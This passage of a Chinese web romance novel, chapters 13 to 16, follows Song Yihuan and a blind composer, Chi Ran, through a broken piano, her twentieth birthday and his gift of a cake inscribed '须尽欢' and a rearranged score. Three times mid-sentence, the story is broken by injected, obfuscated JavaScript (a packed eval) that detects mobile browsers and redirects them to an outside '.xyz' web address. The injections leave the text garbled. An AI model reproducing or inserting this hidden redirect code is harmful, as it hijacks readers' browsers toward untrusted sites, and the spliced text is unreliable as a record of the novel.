他话没说完,手里就被塞进个袋子,沉甸甸的,烫手。 他打开袋子,里面是两菜一汤,咖喱牛肉、炒苋菜和冬瓜羊肉汤。 再抬头,宋呓欢对着他做个把嘴巴拉上拉链的动作。 他立马闭上嘴。 她又打个扑扇两下的手势,无声地让他一边儿待着去。 钱宇抱着热腾腾的菜,蹑手蹑脚但迅速地滚了。 “琴坏了。”迟燃靠着门边说。 宋呓欢蹙眉看琴,“这么严重?怎么弄的?” 琴键凹下去一大块,黑白键碎的碎,裂的裂,露出底下的木质结构,看着都心疼。 迟燃面无表情地说:“拿钱宇大头砸来着。” 胡诌,明明是哑铃砸的。 “哦…那他头还挺结实的哈哈。”宋呓欢干笑。 他忽然朝她走过来,站在她面前,微微垂头,空洞的视线也垂下来,似有若无地落在她脸上。 她立马有些心虚地回避视线。 他声音从上方落下来:“你怎么会来?” 她专门问过钱宇,他是跟她说琴坏了,但迟燃不知道他说过。 所以,她有无数种合理回答。 上课呗。 这不两点了嘛。 我怎么不能来? 可他那双泛灰的眼睛望着她,直白空洞。这是他第一次真正意义地“看”向她,她忽然就哑巴了。 这一犹豫,就错过合理的回答时机。 “嗯?”迟燃催促她回答。 宋呓欢提口气,继续回避视线—— “哎?象牙不是挺硬嘛,怎么会碎?” 说完有点想死。 她这转折比象牙都硬。 迟燃好像哼了声,又好像只是呼吸。 “买卖象牙犯法。”他说。 “哦,原来是这样啊。有道理,大象肯定很想留着自己的牙。” 宋呓欢飞快继续问:“可古董钢琴一般不都是象牙吗?” 迟燃呼出口气,还是回答了:“最开始是象牙。我很早之前买的琴,那时候还没禁止买卖。禁止之后才换成仿象牙。” “仿象牙…哦那应该仿得也不怎么好,还挺不禁砸的。” “买得很早是多早啊?”她总算又想到个问题。 迟燃说:“16年买的,我那年卖了首歌,拿全部收入买了这架古董钢琴。” “那这琴多少钱?” 迟燃说出个数字,宋呓欢倒吸口凉气。 “夺少??你一首歌能赚这么——多?你花这么——多钱买个琴??” 这倒是真情实感。 “那时候对钱没什么概念,借着过生日的由头就买了”。 宋呓欢摆弄手指头算算,问:“你那时候也是二十岁生日吧?” 迟燃没说话。 她继续追问:“那这琴修起来会不会也很贵啊,得多少…” “宋呓欢。”他忽然念她大名。 “…叫我干什么。” “你再给我扯。” 完蛋。 她脑子里就剩这俩字,紧紧抿住嘴巴。 她刚刚光顾着满脑子搜刮能扯的废话,没注意到,他们聊天的时候从头到尾都面对面站在房间正中,距离很近。 不至于贴在一起,但也差不多。 没人会在挨得这么近的时候杵着聊天,更没人会这样聊象牙。 百疏再一疏。 迟燃后退半步,笑了两声,才说:“你早知道琴砸坏了,别装。” 陈述句。 “那你早不打断我!”宋呓欢咕哝,“看笑话呢…” 他缓步坐琴凳上,撑着下巴笑,“我就想看看你能扯多远。” “无聊!” “不无聊。”迟燃还是笑:“谁知道你那么能扯,大象肯定想留着自己的牙,还有什么…仿象牙仿得不怎么好…” 宋呓欢越听越觉得不好意思,不好意思到顶点,反倒跟着笑起来。 他们半晌没说话,整个房间里都是那种无奈的笑声。他好不容易收敛笑意,可她一出声,他也被带着笑起来。 就这么此起彼伏地笑半天。 傻乎乎的。 等到笑声平息,那种暧昧尴尬之间的氛围才漫上来,空气显得格外静。 他们都没打破这种静,一站一坐地沉默着。 宋呓欢肆无忌惮地垂眼看他。 他坐在琴凳上,依然是那种特有的懒散的姿势,手摸在砸坏的琴键上,小范围地用指腹画着圈。 总得有人说点什么,对这个场景下个定义也好,做个决定也好。 总得说点什么,不然就永远不上不下地卡在这。 不想卡在这。 可不卡在这里,能去哪里? 比起不上不下地卡着,她更怕听到不想听的客观事实: 钢琴坏了,我没法教你了。 你不用来了。 迟燃还是先开口:“我想着…” “你别说!”宋呓欢嚷。 他有些无奈,“你先听我说…” 宋呓欢:“我不听。” 迟燃:“我是想说…” “吃不吃冰淇淋!!”钱宇嗷一嗓子,迟燃再次被打断。 他叼着冰棒雾里哇啦地走进来,塞给他俩一人一跟。 “我刚翻冷冻层竟然翻到几根冰淇淋,天知道我有多馋冰淇淋,刚好没过期!咱就是说,幸运!” 宋呓欢翻过冰淇淋看看,“…后天过期。” “那不还是没过期嘛。”钱宇叼着冰淇淋含糊不清地说着走出去。 迟燃被打断三次,默默地撕开冰淇淋,没再继续。 氛围再次回到那种不上不下、悬而未决的样子。 冰淇淋是那种黑白两色旋转的圆柱,有个塑料盒,看起来非常好吃。 可惜她不能吃冰淇淋,只是捏着小木棍举着,另只手用盒子接着。 节拍器还在响。 一嗒嗒二嗒嗒… 宋呓欢就在沉默里听着他的呼吸,她的心跳。 明天还来吗? 明天不能来吗? 来了说什么?做什么。 无数个悬而未决的问题混在心跳里,混乱如麻。 也许可以半开玩笑地说她想学乐理,或者说想学他那个长得像游戏机的打击垫,这样她还能再来。 明天能来,后天也能来。 那再之后呢? 借口就是借口,借口都有保质期。 过期后,再想下个借口吗? 室内温度不高,但冰淇淋还是滴滴答答地融化着。化下来的奶白沾到她指尖,抿一口,甜的。 她端着盒子,接着冰淇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223495|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淋淅淅沥沥化下来的甜水。 时不时抿一口指尖的甜。 迟燃也安静地吃着冰淇淋,真的就没说话。 宋呓欢捏着冰淇淋,光明正大地看着他。明明是她不让他说,可他真开始沉默,她反倒觉得焦灼。 冰淇淋比她更焦灼,不知不觉就全化进盒子里。黑的白的都混到一起,融化成灰不拉几很难看的样子。 她盯着那摊过期的甜水发呆,脑子里很突然地蹿出三个字: 想见他。 就这三个字,庞大得不像话。 如果想藏,得用好多好多个借口才能掩埋。 哪怕是刚才那些笨拙的借口,想一个起码要两个4/4拍,得想挺久。 可想见他三个字从出现到占满心脏占满脑海再占满所有乱七八糟的不知名也不怎么听话的器官们,根本用不了一拍。 而蓄满勇气,只需要一瞬间。 宋呓欢忽地站起来,将融化的冰淇淋盒往地上重重一撂,起身冲到他身边。 她手往电竞椅背上一撑,将他圈在椅子上。 管他的! 她摁着凳子,对着他大声说: “我明天还来!” 迟燃被她的动作吓到,背脊贴在电竞椅上,吃完的冰棍杆啪嗒一声掉在地上。 他努力眨眨眼,可窗帘关着,他感受不到什么光源,也没找见粉。 她靠过来的时候,发尾扫过他的脸。力道很大,扫过那片区域依然火辣辣地泛着疼,估计也发粉。 周围的皮肤被发丝戳着,又有些痒。 椅背微微颤动,说不清是她紧张的手抖,还是他。 她说,我明天还来。 她才二十岁,还没学会那些感情里的弯弯绕绕,也没学会什么分寸。 她只不过是说:我明天还来。 但这恐怕是她能想到的,最气势磅礴的一句话了。 “你笑什么?”宋呓欢恼了。 “好。”他笑意更盛,很欠揍地学着她的语气,“你明天还来。” 宋呓欢手一松,被压弯的椅背回弹,荡回来。 “啊?”她直愣愣地问。 他重复:“我说好,你明天还来。” 宋呓欢呆呆地看着他,有点没明白地歪头:“我说我明天还来。” 他有点无奈地继续重复:“我说好。” 他说第三遍,宋呓欢的喜悦心情才追上来,她嘿嘿地笑出来。 笑着又说一遍:“我明天还来!” 迟燃又学她:“我明天还来~~” 宋呓欢摸摸发烫的脸,后知后觉地问:“那你刚才本来想说什么?” “你以为我想说什么?”迟燃撑着下巴,“让你不用再来?” 宋呓欢没回答。 “我是要问你,是不是快过生日了。”迟燃说,“你生日的时候是不是还没解封。” 宋呓欢怔住,又半天没说话。 “说话。”他手伸平举高,打个响指。 “…为什么?” 她还没缓过神,脸上的热没褪下去,反倒蔓延开,连空气都热。 “不白吃你蛋糕。”他说,“到时记得来找我。” 宋呓欢被他的话砸得发晕。 她还没从明天还来的眩晕中缓过来呢。 明天是明天,生日也是明天,但是生日是其中最特别的明天。 有特别意义的明天。 她愣愣地问:“找你…干什么?” 迟燃又打个响指,在她耳边炸开来:“你说干什么?” “回神了小粉。” 响指再次炸开来。 “该盼生日礼物了。” 14. 第 14 章 他说,你该盼生日礼物了。 宋呓欢就真开始盼。 盼是个很糟糕的字眼,无恶不作。 它烧糊一锅香喷喷的排骨,又把洗衣液倒进烘干机里,还把整栋楼的团购菜都落在小区门口。 按部就班的居家生活被搞得乱七八糟。 哪怕面对面坐着,盼字也如明月高悬,亮堂堂地照着她心里那些念头。 连瞎子都瞒不住。 “嘿!”迟燃叩在琴壳上,敲得她一激灵。 他懒懒地通知:“别找。礼物没放在明面上。” “我没找!”宋呓欢梗着脖子,“我明明认真听你说话呢!” “那我刚才说什么?”迟燃问。 本来聊什么来着? 哦对,聊她小时候学电子琴,顺带聊到改他的谱… 但这好像得是十分钟之前的事了,那之后聊什么来着? “说…”宋呓欢硬着头皮编,“说我改你谱改得不合乐理。” “翻旧帐?我可没说这个。”迟燃说,“你就是在找礼物。” “我没找!”她嘴硬。 反正她只是四下看看,没动作更没声音,他不可能发现。 迟燃笑起来:“你没找,那你刚三百六十度转头看什么呢?扫描我房间内景?” “你是不是开着摄像头听播报呢!”宋呓欢恼羞成怒地去夺他的手机。 “我变态么,还开摄像头拍你。再说我也没带耳机,听哪门子播报。” 迟燃也没躲,任由她拿过去。宋呓欢拿在手上来回看看,他真没开摄像头,手机锁着屏。 她摆弄几下,Siri无机质的声音播报传来:“面容ID,输入密码,输入密码…” 迟燃笑着问:“你还知道摄像头能播报画面描述?” 她囫囵将手机塞回去:“不知道,猜的。” “猜得还挺准。我还以为——”迟燃说,“你试着开过盲人模式呢。没事别开,对你们来说关起来费劲。” 宋呓欢头越埋越低。 “真开过?”迟燃说。 ? 读心术吗? 宋呓欢真开过,在被他叫小粉之后。盲人模式开启只需要一秒钟,但关闭就没那么容易了。 首先是屏幕上的每个字,每个操作都会被Siri毫无感情地念出来,而且盲人模式触屏的操作也不一样。她瞎操作,边操作Siri边念,搅得她大脑一片混乱。 二十分钟都没关上,最后是拿果果手机搜教程才关上。 教程还是个盲人博主发的,提醒大家不要因为好奇就没事去开什么盲人模式。 被他拆穿,宋呓欢彻底蒙了,她破罐子破摔问:“你到底怎么知道的?你该不会真能读心吧?” 迟燃的视力水平很看当天的状态,状态不好的时候基本就是纯瞎子。状态好且光线好的时候,能看清她粉色头发的轮廓。 比如今天。 能看见她跟个3D扫描仪似的转头,把房间里看个遍,显然是在找礼物。 也能看见她刚才心虚地低头,那点粉色都快埋到膝盖上。 迟燃挑挑眉,不说。 宋呓欢摆弄手里的打击垫,狠狠剜他一眼。 “那句话,我想收回。”迟燃忽然说。 宋呓欢:“哪句?” “说你不通乐理那句。”他说,“我…我不该那么说。” 那件事在她心里其实早就翻篇,毕竟她都当面跟他吵过,哪还能记这个仇。她完全没想过他还记着。 宋呓欢问:“你为什么讨厌人家改你谱子?” 迟燃显然是没想到她会问,一愣才说:“可能是名气惯出来的毛病吧,瞎之前我也这样,写完的谱子就不许改。” 瞎之前这个节点就很微妙。 “那之后呢?是不是有人欺负你来着?”宋呓欢脱口而出。 迟燃笑出声。 欺负这个词,实在带点可爱。 “欺负什么欺负,算是有些…”迟燃换成个成熟点的说法,“纠纷吧。有人改我谱子来着,瞒着我改的。这事发生在我瞎之后,所以我也是演出当天才知道。” “这还不叫欺负!”宋呓欢本来是随便猜的,倒是没想到猜这么准,霎时间愤怒起来,“谁啊,为什么?” “我之前的老板周庭,我没瞎的时候他签的我。”他说,“他也不是无缘无故整我,我瞎之前其实挺…挺傲的。管他是谁,不论是周庭还是甲方还是别的什么人,只要是让我改谱,我一律让人滚蛋。” 宋呓欢听完半天没说话。 迟燃总是把瞎这个字挂在嘴边,她以为自己听得都习惯了,但真跟这种实实在在的事件联系起来,这个字就又变得刺耳扎人。 “我不看私信,还是钱宇说你给我发过消息。”他说,“本来没必要闹成这样,是我抱歉。” 宋呓欢有些难过,连没关系都说不出。 迟燃说得轻描淡写,但要真是那么平淡,他应该也不会那么憎恨改他谱子的人。 没等她继续想下去,他就笑着转移话题:“古董钢琴没法出镜,你视频怎么办?” “不坏也没法出镜,我没想到学起来那么难。”她皱眉,“我本来打算用电子琴弹,但电子琴和钢琴谱也不一样,只能换曲子。” “算啦不管了。”宋呓欢手一挥,“过完二十大寿再说。我明天要大过特过!!” 再一抬头,都快五点钟了。 他们没有再严格遵守两点到四点的约定时间。 钢琴坏掉之后,他们上钢琴课的见面主题就此消失。 他们每天下午的见面就变成单纯的见面,没有主题,就只是见面。 有时候看着迟燃摆弄各种乐器,有时候像今天这样聊天。 聊关于迟燃,关于她。 她知道迟燃是独生子,父母也在本地,家里有只肥硕的拉布拉多,狗不会导盲。 不仅不导盲,还总是挡路绊倒他。 知道他十五岁随意发在网上的歌爆火,那之后便成为邻里口中的天才。不是别人家的孩子,是天才。 … 她也跟迟燃说了很多关于她的事。 比如,她老家在离这里挺远的某个小破县城,没山没海没河流,只有臭烘烘的油菜花。 比如,她那天哭是因为妈妈不让她见小姑,可小姑病得很重。 比如,她现在做视频挺赚钱,足够负担她的生活。 … 她说了很多,但还不够多,还有很多没说。 “那就,明天见吧?”迟燃说。 “明天见!” 宋呓欢起身走到客厅,跟钱宇打声招呼就去换鞋。她拉开大门,将一次性拖鞋塞进门口的垃圾袋里。正准备走呢,想起来包还在沙发上,她连忙转身去拿,顺手带上门,咔哒一声。 她没穿鞋,只穿着袜子,三两步走到茶几前。 王女士立的规矩,家里必须穿拖鞋,甚至客厅和卧室还得换不同的拖鞋。 尽管王女士不可能知道,但她这两三步还是走得蹑手蹑脚,有些做贼心虚的意思。 刚拿上包,余光就瞟到人影。 迟燃不知什么时候走到房间门口,侧身靠着门框。 他朝着门的方向偏头,神情认真。仿佛他不是在听刚刚那声关门的余音,而是在听什么不容错过的交响乐。 宋呓欢拿着包愣在原地,都不知道怎么呼吸,就那么怔怔地看着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223496|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着每天关门后,她本该不得而知的他。 “啊!” 钱宇边脱上衣边出卧室门,露出白花花的腹部,看见她吓得嗷一嗓子,赶紧把掀起来的衣服放下。 他干笑两声:“宋神…还没走啊。你在的时候燃哥不让我光膀子,我以为你走了才脱的…不是耍流氓啊宋神。” 宋呓欢被他的尴尬传染了似的,也结巴起来:“啊…嗯,对,我刚包忘拿了,我…” 迟燃依然站在原地,但看起来也很错愕,不知是被钱宇那一嗓子吓得还是别的什么。 宋呓欢再次往门口走,这次迟燃显然在听她的脚步声,微微侧头。 路过他的时候,她转过来朝着他说了句:“明天见!” 迟燃清清嗓子,但出声还是哑:“明天见。” 宋呓欢当晚抱着被子在床上翻滚,满脑子都是他最后那句带点沙哑和不好意思的明天见,一晚上都没睡好。 生日当天,勤劳的寿星六点就爬起来腌制烤肉。 宋呓欢上午有两栋楼的团购要送,还要剪视频做生日直播,整天都挺忙碌。 虽说是生日,但白天跟平时大差不差,也只有晚上特别一点。她邀请隔壁两位邻居晚上六点来一起吃烤肉,算是生日大餐。 就是白天过得跟开了0.5倍速一样,感觉格外漫长。 送菜的路之前走过八百次,可今天显得格外远,电瓶车骑得飞快,怎么骑半天也没到小区正中那个小亭子。 剪视频也变得无聊,快捷键也不怎么快捷嘛,怎么剪了这么久还没剪完。 … 漫长到家门被敲响的时候,她甚至有种已经隔天,过到第二天早上的感觉。 果果给他们开门,问:“不是约六点吗?” 钱宇递进来大桶可乐:“燃哥说我们能先帮忙准备准备烤肉什么的。” 宋呓欢从厨房探头:“我们早就准备好了。” 迟燃手搭在钱宇肩膀上,也探出头来,朝着她的方向说:“生日快乐,寿星。” 没等宋呓欢回答,钱宇就继续念叨:“我本来也说六点再来,我俩一瞎一傻的不帮倒忙就不错了,可…啊!” 迟燃在他肩膀上一掐,看着挺用力,青筋都凸出来。 “跟寿星说什么。” “嘶…”钱宇揉着肩膀,“宋神生日快乐!” 等两人都走进来,宋呓欢才看见迟燃手上提着个方盒子。 “生日蛋糕吗?”果果惊讶道,“我去,这都能买到?我俩这两天把外卖平台刷烂都没找到。” 宋呓欢小声哇了句。 迟燃已经走进来,扶着桌子边缘坐下,笑着说:“不白吃你的胡萝卜蛋糕。” 烤盘已经热起来,放下去润锅的薄油滋滋地响。 “开烤吧!”果果摩拳擦掌道。 “先看蛋糕!”宋呓欢嚷。 桌子被烤盘和肉占满,迟燃就双手捧着蛋糕盒子送到她面前,示意她拆。 迟燃半开玩笑说:“条件有限,我也没法验货,丑的话别哭啊。” “哭什么哭。”宋呓欢想让自己听起来淡定点,但笑意实在收不住。 没想到,蛋糕盒子掀开的瞬间,她眼泪就砸下来。 蛋糕就是普普通通的蛋糕,圆圆也扁扁,周遭裱着可爱的小花。 颜色是很柔和的粉,类似她的发色,但是稍淡一点,正中间写着三个字。 她视线一会模糊,一会清晰,蛋糕上的三个字也若隐若现。 他的蛋糕上写着:须尽欢。 不过是课本上普普通通的三个字,可对宋呓欢来说,却是她过去二十年都没收到过的,最好的祝福。 最好的礼物。 15. 第 15 章 小区周边的确买不到蛋糕。 迟燃联系过方圆五公里的所有甜品店,都没找到能定制蛋糕的地方。 他兜兜转转找到好几波人,最终才联系到一位居家的甜品师。 巧也不巧,巧的是甜品师住在他们小区,不巧的是他家里没有工具,唯一的原材料只有鸡蛋。 凑齐工具和原材料也花了点功夫,不过好在赶上了。 甜品师问他想做个什么样的,他想也没想就说粉色的,很春天的那种粉。 又问他要不要写生日快乐,他本想说好,可脑子闪过她的脸,忽然就改了主意。 “就写须尽欢三个字。”他说。 甜品小哥挺懵:“徐什么欢?名字是吧。” 迟燃解释:“不是名字,是人生得意须尽欢,后三个字。” 不论是凑齐蛋糕的材料,还是写这三个字,他的想法都很纯粹。 没掺杂任何别的想法,就纯粹想给她过个生日。 宋呓欢的二十岁。 她朝气蓬勃又冒冒失失。 他想祝她像现在这样,挥霍热情与勇气,处处尽欢。 须尽欢。 这三个字不是常规的生日祝福,他竟对此有些忐忑。 捧着蛋糕给她看的时候,他竟觉得紧张。 可下一秒,啪嗒一声,是眼泪砸在蛋糕盒上,摔开来的声音。 “哎。”迟燃喊她一声,“真哭了?” 他手有些茫然地往上伸。 宋呓欢乱七八糟地擦着眼泪:“没。” 鼻音还是出卖她,他曲起食指有些慌乱地探出来,可无法确认方位,不敢贸然往前。最终只是悬着,对着虚空做出擦的动作。 她往前凑一点,干燥的鼻尖碰他的手:“说了没有。” 迟燃收回手笑起来:“那就没有。” 钱宇和果果两双眼睛直直盯着锅里的油,都没敢往他们这边扫。 宋呓欢赶紧胡乱抹把脸,拨下去几片肉:“开烤开烤!” 她将烤肉夹塞进钱宇手里,从迟燃手里接过蛋糕,先放进冷藏室里。 冷藏室的冷白光打下来,须尽欢三个字泛着细细的光泽。再拿出来就得切蛋糕,她没舍得立马关门,盯着看一会。 这句祝福,和她前十八年人生完全背道而驰。 前十八年,王女士替她决定她人生中每一个微小的选择,从穿什么颜色的袜子到午餐要吃西兰花还是香菇,从几点回家到几点酝酿睡意几点睡着,事无巨细。 王女士有一张Excel表格,专门用来管理她生活里的每个细节。 她十八岁那年认识果果,十九岁从家里搬出来,才算彻底摆脱被条条框框的Excel表格掌控的人生。 要是被束缚的足够久,那么甫一脱离束缚,首先感到的不是自由,反而是茫然。她习惯了活在各种各样的规矩里,那么所有的自由就都建立在打破规则上。 遵循规则是一条窄路,而跟规则对抗一一打破,也不过是另一条窄路。就这么一叶障目,她没见着旷野。 没人教她怎么尽情尽兴的生活,她至今也没学会。 而二十岁生日这天,迟燃祝她须尽欢。 他祝她在人间玩得尽兴。 她就默默看着沁出光泽的三个字,像是灰姑娘看着梦寐以求的水晶鞋,想象走出逼仄的房间,去看更大的天地。 冷藏室的凉意混着奶油香甜的味道,就连脸上残余的泪痕都像冰淇淋,凉凉甜甜。 “欢,肉熟啦!”果果喊她。 宋呓欢笑起来:“来啦!” 肥瘦相间的梅花肉在锅中发出诱人的滋滋声,腌制过显得丰富的色彩渐渐被美味的美拉德色系取代,烤肉边缘卷曲起来,时不时发出细小的噼啪声。 “燃哥,这烤盘没边,你别伸手啊。” 钱宇说完,迟燃默默将举起来的筷子放回碗上。 落座的时候有些失策,只想着快点给她看蛋糕,没让钱宇坐他旁边。钱宇这厮也是,看到肉就忘记管管瞎子老板。 “你从盘子里夹。” 宋呓欢在他面前放个盘子,有捏着他右手的袖子,像吃胡萝卜蛋糕时那样,带着他找到盘子边缘,让他用手碰碰。 迟燃点头说好,可说完她还没放手,他不解地侧头。 她捏着他的手指抵在餐桌上,拖出一条长长的线。 “你的手不要超过这里。”宋呓欢飞快地说,“不然会变成碳烤猪蹄。” 她松手的瞬间,他反握住她的手指,用力揉捏几下,凑过去低声说:“你才碳烤猪蹄。” 她缩手的速度真跟被烫了似的。 宋呓欢就坐在他旁边,但他没怎么听到咀嚼声。而且她全程在跟果果聊天,吐槽团购菜质量差,吐槽物业不作为全靠志愿者,每次说话的时候嘴里也没东西,感觉都没怎么吃。 他凑过去问:“怎么不吃?” 她停顿好半天才回答:“有点饱。” “你筷子都没拿几次,怎么饱的?”迟燃皱眉问。 没等到她回答,反倒被果果调侃:“某两位不要交头接耳哈,一共就四个人,总说什么小话。” 迟燃筷子没拿稳,碰着盘子边缘,当啷一声。 好在果果没继续说。 宋呓欢反手摸摸被烤盘烘得发烫的脸,咬着筷子间偷笑。 “我怎么坐直了?”钱宇尴尬地嘿嘿两声,“我又没说小话。” 宋呓欢爆笑:“果是老师。”又补充,“小学班主任。” 钱宇问:“小学班主任?那你还有空当志愿者,不用忙着上网课吗?” 宋呓欢笑意在脸上停滞,她扭头看向果果。 果果笑呵呵:“以前是,后来辞了。” “铁饭碗哎。”钱宇感叹,“得多有魄力才能辞掉铁饭碗。” “没魄力也能辞职,天天都气得想辞。小学生正是气人的年纪,有时候气得都想把人拎起来当沙包踢。” 果果三言两语转换话题,笑着细数见识过的熊孩子。 等烤肉吃得差不多,他们将烤盘和碗筷丢进水槽,将满桌狼藉收拾干净。 果果拿出个漂亮桌布,铺在桌上,将蛋糕摆上去。 钱宇嘿嘿一笑:“宋神,我给你发个生日红包!你快收,趁我反悔之前赶紧收!” 宋呓欢点开红包,三十三块一毛,对应她3月31日的生日。还真挺大,按照他那守财奴脾气,她本以为他会发三块三毛一呢。 “欢欢,生日礼物解封后给你。”果果眨眨眼。 宋呓欢捏着拳头悄悄对着她挥挥,以示威胁,让她闭麦。 她再次凝望蛋糕上的字,轻声跟迟燃道谢:“谢谢你的生日礼物,我很喜欢。” “谁跟你说——”他仰头挑眉,拖着长声,“蛋糕就是生日礼物?” 宋呓欢怔住:“什么?” 钱宇替他从包里掏出个薄薄的线圈本模样的东西,她接过来,是个粉色的乐谱夹。 外面图案是哈利波特里面的蒲绒绒,粉色小团子加大眼睛,看起来非常可爱,摸起来也是毛绒绒的手感。 “琴谱吗?Icarus吗?”宋呓欢惊喜地问。 “不是。”迟燃说,“你打开看看。” 宋呓欢缓缓打开乐谱夹,里面有很多透明的插袋,第一页放着乐谱。 “这是…”宋呓欢笑起来,“这是我们吵起来那个谱子,你写的那首叫烧的钢琴曲。” “你仔细看看。”迟燃指尖在桌上敲两下,“这么多天课白上的?” 宋呓欢默默在心里唱谱,没唱几句就发现这不是原版。 “你…你改了烧的谱子?”她声音打颤。 烧原曲音域宽,只有钢琴能弹,电子琴音域不够,所以她才改谱。 而她的生日礼物,是他亲手改谱的,电子琴版本的烧。 迟燃朝着她的方向偏头:“改版的谱子也不是生日礼物。” 宋呓欢捏着毛绒绒的乐谱夹,指尖和心脏都只剩柔软,愣愣地说:“那是…什么?” “是后面的空页。” 他语气温柔,神情也温柔,原本空洞的眼也盛满温柔。 他说:“按照你的心意,随时让我填满后面的空页,——这才是你的生日礼物。” 宋呓欢捏着乐谱夹,想说谢谢,可谢谢只有两个字,轻飘飘又疏远。 犹豫间,真心话便溜出来:“我很喜欢,非常喜欢,特别、特别、特别……喜欢。” 说到第三次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223497|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢二字忽然多了许多分量,她要很努力才能说出来。 迟燃侧耳听着她的话,听完露出个近乎温柔的笑,完全不见毒舌的模样。 那笑容晃得她心头一跳又一跳,混着喜欢二字催着她心跳加速,四肢百骸都灌入热意。 “许愿吧!”果果四下找找,“哎?没有蜡烛吗?” “还真没买到。”钱宇挠头,“要么吹燃气灶吧,我去点火。” 宋呓欢揉揉泛红的眼圈,被他气笑:“什么东西?” 果果无语地说:“请寿星吸煤气,你是认真的吗?” 迟燃从口袋里翻出个打火机,笑着说:“这个行吗?” 宋呓欢:“哪来的?” 迟燃不抽烟。 “找门卫大爷借来的,你吹完我还得还回去。”迟燃说,“行吗?” 宋呓欢笑开来:“可太行了。” 果果补刀:“尤其是跟吸煤气比。” “我举着吧,燃哥。”钱宇伸手来拿,“你别烫到手。” 迟燃捏着没松,说:“我来。” “唱个生日歌呗!”钱宇提议。 然后他起了个跑调跑得路途遥远的头,接着是果果憋着笑的歌声,然后是迟燃努力把调拉回来的低低的歌声。 迟燃脸朝着她的方向,举着燃烧的打火机。跃动的火焰后是他微微扬起的脸。暖光打上去,原本冷淡疏离的脸竟透着温柔。 他原本灰暗的瞳孔被火光映得透亮,泉水似的流动着,而她流溺其间,体会着陌生而又深刻的幸福。 白炽灯被关掉,窗外是黄昏时分,光线微弱,火光摇晃,如脆弱的美梦。 宋呓欢盯着迟燃拇指上方的火苗,甚至没舍得闭眼。 “许愿啊!”果果笑着催促。 宋呓欢依依不舍地缓缓闭上眼,快乐得几乎要融化在这个时刻。 忽然,闹钟叠着闹钟响起来,她急促地呼出口气,猛地睁开眼睛。 她和果果的闹钟不太一样,她的是机器人哇啦哇啦,果果的是叮叮咚咚的脆响,和在一起混成某种诡异的韵律,有种能刺破梦境的尖锐感。 “嘶。”迟燃被铃声惊到,手一晃,蓝色的火焰燎在他拇指,接着熄灭。 四周彻底暗下来,所有事物都模糊不清。 像深夜自美梦中醒来。 宋呓欢就任由自己浸在这尖锐的噪音里,有些晃神,呼吸渐渐急促,跟被人扼住咽喉似的。 也许灰姑娘听到十二点的钟声时,感受和她此刻差不多吧。 果果反应很快,先是摁灭自己的闹钟,接着伸手去够她手机。 钱宇凑过去看宋呓欢的手机,读出来:“怎么这么多感叹号啊,吃……吃什么?” 没等他读完,果果已经飞快地将她手机闹钟摁灭。 “吃东西还要定个闹钟?”钱宇问。 果果将手机锁屏:“居家没时间概念,老是错过饭点,就定个闹钟互相提醒呗。” “哦哦,这样。” “宋呓欢?怎么了?”她许久没动静,迟燃试探地叫她。 宋呓欢愣了好久才回神,问迟燃:“你手没事吧?” 迟燃摇摇头,“没事,再来一次?” “嗯……好啊。”她垂头看他的右手拇指,有些泛红。 迟燃换成左手捏着打火机,再次举到她面前。 “好事多磨。”他依然笑得温柔,“寿星,许愿吧。” 宋呓欢双手合十,闭眼,做出许愿的姿势。 她心里空荡荡。 于是,她只是保持这个姿势,在心里从一数到五,什么都没许,接着就睁开眼,吹向蜡烛。 迟燃举着打火机往后一躲。 “干什么?”宋呓欢一愣。 他说:“你的生日愿望是什么?” “说出来,也许会实现呢。” 宋呓欢望进他的眼睛,那双眼再怎么灰败,都还是有温柔在的。 她用力闭了闭眼睛。 闹钟明明早就关了,可她怎么还耳鸣。 会实现吗?她的生日愿望。 不会。 永远都不会。 不该,也不配。 她比任何人都清楚,她不配许愿。 16. 第 16 章 尽管迟燃追问再三,但宋呓欢最终还是没说出生日愿望。 她说要保密。 他们吃完蛋糕,迟燃和钱宇又帮着洗碗收拾桌面,做完这些已经八点多快九点,生日聚会也就此散场。 迟燃扶着钱宇的肩膀往自家门口走,没忘扭头看着她,笑着说:“生日快乐。” 说完又模仿她的语气补一句:“你明天还来…吗?” 没等到回答。 玄关处灯光昏暗,他什么都看不见,也许她没听到,也许她没站在门口。 “拜拜!我跟燃哥走啦!” 钱宇打完招呼带着他穿过走廊,到家门口,滴滴滴地输入密码。 迟燃侧耳去听,依然没听到关门声。 “等一下!”宋呓欢突然出声,接着是急切跑来的脚步声。 “嗯?”他转头朝着她,偏头表示在听。 她很认真,甚至严肃地说:“我有话想单独跟你说。” 尾音打着细细的颤。 